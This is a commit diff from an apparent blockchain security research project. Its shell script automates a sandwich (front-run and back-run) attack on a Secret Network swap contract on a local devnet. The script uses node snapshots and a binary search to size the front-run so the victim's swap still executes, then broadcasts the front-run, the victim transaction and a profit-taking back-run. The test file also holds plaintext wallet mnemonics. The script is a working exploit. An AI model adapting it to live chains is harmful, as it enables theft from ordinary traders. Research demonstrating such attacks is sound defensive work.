Skip to content

Commit 9b4b058

Browse files
lilionesbellem
authored andcommitted
finish demo
1 parent f7390ce commit 9b4b058

File tree

3 files changed

+75
-58
lines changed

3 files changed

+75
-58
lines changed

hacking/scripts/test_swap.sh

Lines changed: 52 additions & 39 deletions
Original file line numberDiff line numberDiff line change
@@ -1,31 +1,24 @@
11
set -x
22
set -e
33

4-
VICTIM='secret1fc3fzy78ttp0lwuujw7e52rhspxn8uj52zfyne'
5-
ADV='secret1ap26qrlp8mcq2pg6r47w43l0y8zkqm8a450s03'
6-
ADMIN='secret1ajz54hz8azwuy34qwy9fkjnfcrvf0dzswy0lqq'
4+
VICTIM='secret1ldjxljw7v4vk6zhyduywh04hpj0jdwxsmrlatf'
5+
ADV='secret1ajz54hz8azwuy34qwy9fkjnfcrvf0dzswy0lqq'
6+
ADMIN='secret1fc3fzy78ttp0lwuujw7e52rhspxn8uj52zfyne'
77
UNIQUE_LABEL=$(date '+%Y-%m-%d-%H:%M:%S')
88
PASSPHRASE=`cat passphrase.txt`
99
CHAIN_ID='secretdev-1'
1010
SECRETD=./secretd
1111

12-
sleep_time=3
12+
sleep_time=5
1313

1414
generate_and_sign_tx() {
1515
$SECRETD tx compute execute $CONTRACT_ADDRESS --generate-only "{\"swap\":{\"token_type\":\"$1\",\"offer_amt\":$2,\"expected_return_amt\":$3,\"receiver\":\"$4\"}}" --from $4 --enclave-key io-master-cert.der --code-hash $CODE_HASH --label $UNIQUE_LABEL -y --broadcast-mode sync > tx_$5.json
1616
echo $PASSPHRASE | $SECRETD tx sign tx_$5.json --chain-id $CHAIN_ID --from $4 --keyring-backend file -y > tx_$5_sign.json
1717
}
1818

1919
deliver_tx() {
20-
tx=$(echo $PASSPHRASE | $SECRETD tx compute delivertx tx_$1_sign.json --from $ADMIN --keyring-backend file -y)
21-
# echo $tx
20+
echo $PASSPHRASE | $SECRETD tx compute delivertx tx_$1_sign.json --from $ADMIN --keyring-backend file -y
2221
sleep $sleep_time
23-
# tx_hash=$(echo $tx | jq -r .txhash )
24-
# echo $tx_hash
25-
seq=$(cat tx_$1_sign.json | jq -r .auth_info.signer_infos[0].sequence)
26-
echo $seq
27-
tx_result_code=$($SECRETD q tx --type=acc_seq $2/$seq | jq .code)
28-
echo $tx_result_code
2922
}
3023

3124
execute_tx() {
@@ -43,6 +36,16 @@ reset_snapshot() {
4336
sleep $sleep_time
4437
}
4538

39+
query_pool() {
40+
size=$(echo $PASSPHRASE | $SECRETD q compute query $CONTRACT_ADDRESS "{\"$1\":{}}")
41+
echo $size
42+
}
43+
44+
broadcast_tx() {
45+
echo $PASSPHRASE | $SECRETD tx broadcast tx_$1_sign.json --from $ADMIN --keyring-backend file -y
46+
sleep $sleep_time
47+
}
48+
4649
reset_snapshot
4750
./node_modules/.bin/jest -t Deploy
4851

@@ -52,35 +55,45 @@ CODE_HASH=`cat codeHash.txt`
5255
# make victim tx
5356
generate_and_sign_tx token_a 10 20 $VICTIM victim
5457

55-
# make front-run tx
56-
#generate_and_sign_tx token_a 1 0 $ADV adv
57-
generate_and_sign_tx token_a 100 0 $ADV adv
58+
cnt=0
59+
lo=15
60+
hi=25
61+
while [ $(expr $hi - $lo) -ne 1 ]; do
62+
mid=$(expr '(' $hi + $lo ')' / 2)
63+
echo $lo $hi $mid
5864

65+
generate_and_sign_tx token_a $mid 0 $ADV adv
5966

60-
cnt=0
61-
set_snapshot 1
67+
set_snapshot $cnt
6268

63-
deliver_tx adv $ADV
69+
query_pool pool_a
70+
deliver_tx adv
71+
old_pool_a=$(query_pool pool_a)
72+
deliver_tx victim
73+
new_pool_a=$(query_pool pool_a)
74+
dif_pool_a=$(($new_pool_a - $old_pool_a))
75+
echo $old_pool_a $new_pool_a $dif_pool_a
76+
77+
if [ $dif_pool_a -gt 0 ]; then lo=$mid; else hi=$mid; fi
78+
cnt=$((cnt + 1))
79+
done
80+
echo $lo
81+
82+
# make front-run tx
83+
generate_and_sign_tx token_a $lo 0 $ADV adv
84+
85+
set_snapshot $cnt
86+
old_pool_b=$(query_pool pool_b)
87+
deliver_tx adv
88+
new_pool_b=$(query_pool pool_b)
89+
dif_pool_b=$(($old_pool_b - $new_pool_b))
90+
91+
# broadcast all 3 txs
92+
reset_snapshot
93+
broadcast_tx adv
6494
./node_modules/.bin/jest -t QuerySwap
65-
deliver_tx victim $VICTIM
95+
broadcast_tx victim
6696
./node_modules/.bin/jest -t QuerySwap
67-
68-
## make back-run tx
69-
#
70-
## broadcast all 3 txs
71-
#set_snapshot 'snapshot2'
72-
#deliver_tx tx_victim_sign.json
73-
#
74-
#sleep 10
75-
#
76-
#./node_modules/.bin/jest -t QuerySwap
77-
78-
#lo=1
79-
#hi=1000
80-
#target=101
81-
#while [ $(expr $hi - $lo) -ne 1 ]; do
82-
# mid=$(expr '(' $hi + $lo ')' / 2)
83-
#
84-
# if [ $mid -le $target ]; then lo=$mid; else hi=$mid; fi
85-
#done
86-
#echo "$lo"
97+
# send back-run tx
98+
execute_tx token_b $dif_pool_b 0 $ADV
99+
./node_modules/.bin/jest -t QuerySwap

hacking/start_node.sh

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
#!/bin/bash
2-
set +x
2+
set -x
33

44
docker-compose down
55
set -e
@@ -39,8 +39,8 @@ do
3939
sleep 5
4040
done
4141

42-
docker cp hacking-localsecret-2-1:/usr/bin/secretd ./secretd
43-
docker cp hacking-localsecret-2-1:/root/io-master-cert.der ./io-master-cert.der
44-
4542
docker-compose stop localsecret-1
4643
./logs.sh
44+
45+
docker cp hacking-localsecret-2-1:/usr/bin/secretd ./secretd
46+
docker cp hacking-localsecret-2-1:/root/io-master-cert.der ./io-master-cert.der

hacking/test.ts

Lines changed: 19 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -37,7 +37,7 @@ type Account = {
3737
secretjs: SecretNetworkClient;
3838
};
3939

40-
const accountsCount = 3;
40+
const accountsCount = 4;
4141

4242
// @ts-ignore
4343
// accounts on secretdev-1
@@ -50,13 +50,16 @@ const contracts = {
5050

5151
let v1Wasm: Uint8Array;
5252

53+
let admin: Account;
54+
5355
// let readonly: SecretNetworkClient;
5456

5557
beforeAll(async () => {
5658
const mnemonics = [
5759
"grant rice replace explain federal release fix clever romance raise often wild taxi quarter soccer fiber love must tape steak together observe swap guitar",
5860
"jelly shadow frog dirt dragon use armed praise universe win jungle close inmate rain oil canvas beauty pioneer chef soccer icon dizzy thunder meadow",
5961
"chair love bleak wonder skirt permit say assist aunt credit roast size obtain minute throw sand usual age smart exact enough room shadow charge",
62+
"word twist toast cloth movie predict advance crumble escape whale sail such angry muffin balcony keen move employ cook valve hurt glimpse breeze brick"
6063
];
6164

6265
// Create clients for all of the existing wallets in secretdev-1
@@ -97,6 +100,8 @@ beforeAll(async () => {
97100
};
98101
}
99102

103+
admin = accounts[0];
104+
100105
// Send 100k SCRT from account 0 to each of accounts 1-itrations
101106

102107
// const { secretjs } = accounts[0];
@@ -283,11 +288,10 @@ async function query_balance(contract_addr, code_hash, token_type, user) {
283288
}
284289

285290
async function set_balance(contract_addr, code_hash, token_type, user, balance) {
286-
const account = accounts[2].secretjs
287291
const user_addr = user.address
288-
let tx = await account.tx.compute.executeContract(
292+
let tx = await admin.secretjs.tx.compute.executeContract(
289293
{
290-
sender: account.address,
294+
sender: admin.address,
291295
contractAddress: contract_addr,
292296
codeHash: code_hash,
293297
msg: {
@@ -340,14 +344,14 @@ describe("Deploy", () => {
340344
contract.codeHash = toHex(sha256(wasm));
341345

342346
console.log("Storing contracts on secretdev-1...");
343-
let account = accounts[2].secretjs;
347+
let account = admin.secretjs;
344348
let tx: Tx = await storeContracts(account, [wasm]);
345349
contract.codeId = Number(
346350
tx.arrayLog.find((x) => x.key === "code_id").value
347351
);
348352

349353
console.log("Instantiating contracts on simple...");
350-
let sender = accounts[2].address;
354+
let sender = admin.address;
351355
let code_hash = contract.codeHash;
352356
tx = await account.tx.broadcast(
353357
[
@@ -386,10 +390,10 @@ describe("Deploy", () => {
386390

387391
await query_pool(account, contract_addr, code_hash)
388392

389-
await set_balance(contract_addr, code_hash, "token_a", accounts[0], 123)
390-
await set_balance(contract_addr, code_hash, "token_b", accounts[0], 789)
391-
await set_balance(contract_addr, code_hash, "token_a", accounts[1], 456)
392-
await set_balance(contract_addr, code_hash, "token_b", accounts[1], 101)
393+
await set_balance(contract_addr, code_hash, "token_a", accounts[2], 1000)
394+
await set_balance(contract_addr, code_hash, "token_b", accounts[2], 1000)
395+
await set_balance(contract_addr, code_hash, "token_a", accounts[3], 1000)
396+
await set_balance(contract_addr, code_hash, "token_b", accounts[3], 1000)
393397
});
394398
});
395399

@@ -463,13 +467,13 @@ describe("QuerySwap", () => {
463467
test("toy", async () => {
464468
const contract_addr = fs.readFileSync('contractAddress.txt', 'utf8');
465469
const code_hash = fs.readFileSync('codeHash.txt', 'utf8');
466-
const account = accounts[2].secretjs;
470+
const account = admin.secretjs;
467471

468472
await query_pool(account, contract_addr, code_hash)
469-
await query_balance(contract_addr, code_hash, "token_a", accounts[0])
470-
await query_balance(contract_addr, code_hash, "token_b", accounts[0])
471-
await query_balance(contract_addr, code_hash, "token_a", accounts[1])
472-
await query_balance(contract_addr, code_hash, "token_b", accounts[1])
473+
await query_balance(contract_addr, code_hash, "token_a", accounts[2])
474+
await query_balance(contract_addr, code_hash, "token_b", accounts[2])
475+
await query_balance(contract_addr, code_hash, "token_a", accounts[3])
476+
await query_balance(contract_addr, code_hash, "token_b", accounts[3])
473477

474478
});
475479
});

0 commit comments

Comments
 (0)